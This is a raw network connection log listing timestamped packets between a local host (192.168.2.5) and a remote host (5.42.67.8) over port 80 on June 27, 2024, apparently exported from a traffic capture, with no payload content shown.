Jun 27, 2024 06:44:21.643271923 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.643280029 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643294096 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643300056 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.643337965 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.643522978 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643537045 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643553972 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643567085 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643574953 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.643580914 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643594027 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643601894 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.643608093 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643623114 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643625021 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.643634081 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.643636942 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643651962 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643665075 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.643666983 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643682003 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643696070 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643706083 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.643706083 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.643712044 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643744946 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.643744946 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.643748045 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643768072 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643819094 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.644010067 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.644023895 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.644037008 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.644048929 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.644062042 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.644062042 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.644062042 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.644081116 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.644089937 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.644094944 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.644109011 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.644123077 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.644135952 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.644136906 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.644150972 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.644160032 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.644165039 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.644179106 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.644192934 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.644192934 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.644193888 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.644207001 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.644233942 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.644234896 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.644253969 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.644298077 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.644310951 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.644325018 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.644339085 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.644349098 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.644354105 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.644367933 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.644368887 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.644381046 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.644390106 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.644390106 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.644395113 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.644408941 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.644411087 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.644438982 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.644455910 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761027098 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761086941 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761111975 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761126995 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761137009 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761149883 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761169910 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761177063 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761178017 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761185884 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761198997 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761202097 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761214018 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761228085 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761240959 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761255026 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761270046 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761274099 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761275053 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761275053 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761284113 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761298895 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761312962 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761327028 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761341095 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761370897 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761370897 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761370897 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761370897 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761401892 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761425018 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761440039 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761455059 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761470079 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761476040 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761476040 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761485100 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761498928 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761523008 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761537075 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761538982 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761538982 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761538982 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761562109 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761630058 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761630058 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761630058 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761677980 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761703968 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761718035 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761734009 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761735916 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761745930 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761749983 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761760950 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761764050 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761779070 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761785030 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761792898 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761806011 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761806011 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761806965 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761821032 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761821985 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761847019 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.761854887 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761884928 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.761884928 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762025118 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762042046 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762057066 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762070894 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762078047 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762078047 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762085915 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762100935 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762101889 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762115002 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762120962 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762129068 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762132883 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762142897 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762156963 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762171030 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762175083 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762191057 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762217999 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762383938 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762398005 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762412071 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762425900 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762439966 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762454033 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762466908 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762473106 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762473106 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762473106 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762481928 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762496948 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762510061 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762516975 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762516975 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762526035 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762552977 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762576103 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762588978 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762629986 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762629986 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762629986 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762794971 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762809038 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762823105 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762836933 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762851000 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762854099 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762855053 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762866020 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762880087 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762893915 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762897015 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762897015 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762908936 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762926102 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762936115 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762936115 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762940884 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762954950 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762955904 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.762962103 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.762970924 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763010025 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.763050079 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.763149977 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763164997 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763179064 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763192892 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763206959 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763207912 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.763227940 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.763243914 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763252020 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763266087 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763319016 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.763350010 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763355017 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.763365030 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763372898 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763380051 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763386965 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763485909 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763499975 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763514042 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763526917 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763540983 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763546944 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.763546944 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.763546944 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.763546944 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.763556957 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763575077 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763577938 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.763577938 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.763588905 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763602018 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.763603926 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763618946 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763633013 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763647079 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763649940 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.763649940 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.763662100 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.763689995 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.763880968 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763895988 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763909101 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763925076 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763938904 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763953924 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763953924 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.763953924 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.763968945 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763983011 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.763998032 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.764020920 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.764020920 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.764020920 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.764048100 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.847764015 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.847821951 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.847862005 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.847862005 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.847872972 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.847904921 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.847939014 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.847940922 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.847970009 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.847970963 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848018885 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848051071 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848083019 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848087072 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.848087072 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.848087072 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.848130941 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848169088 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.848169088 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.848180056 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848207951 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848241091 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848246098 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.848246098 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.848273039 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848303080 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.848306894 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848320007 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.848339081 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848370075 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848380089 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.848380089 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.848402023 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848423958 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.848442078 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.848450899 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848510981 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.848516941 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848548889 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848567963 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.848597050 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.848598003 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848629951 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848663092 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848697901 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.848712921 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848745108 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848793030 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848824978 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848853111 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.848853111 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.848853111 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.848856926 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848890066 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848912001 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.848921061 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.848923922 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848958015 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848988056 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.848992109 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.848992109 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.849005938 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.849020004 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.849040031 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.849051952 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.849081039 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.849083900 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.849116087 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.849148035 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.849162102 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.849162102 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.849179029 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.849210978 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.849211931 CEST	49719	80	192.168.2.5	5.42.67.8
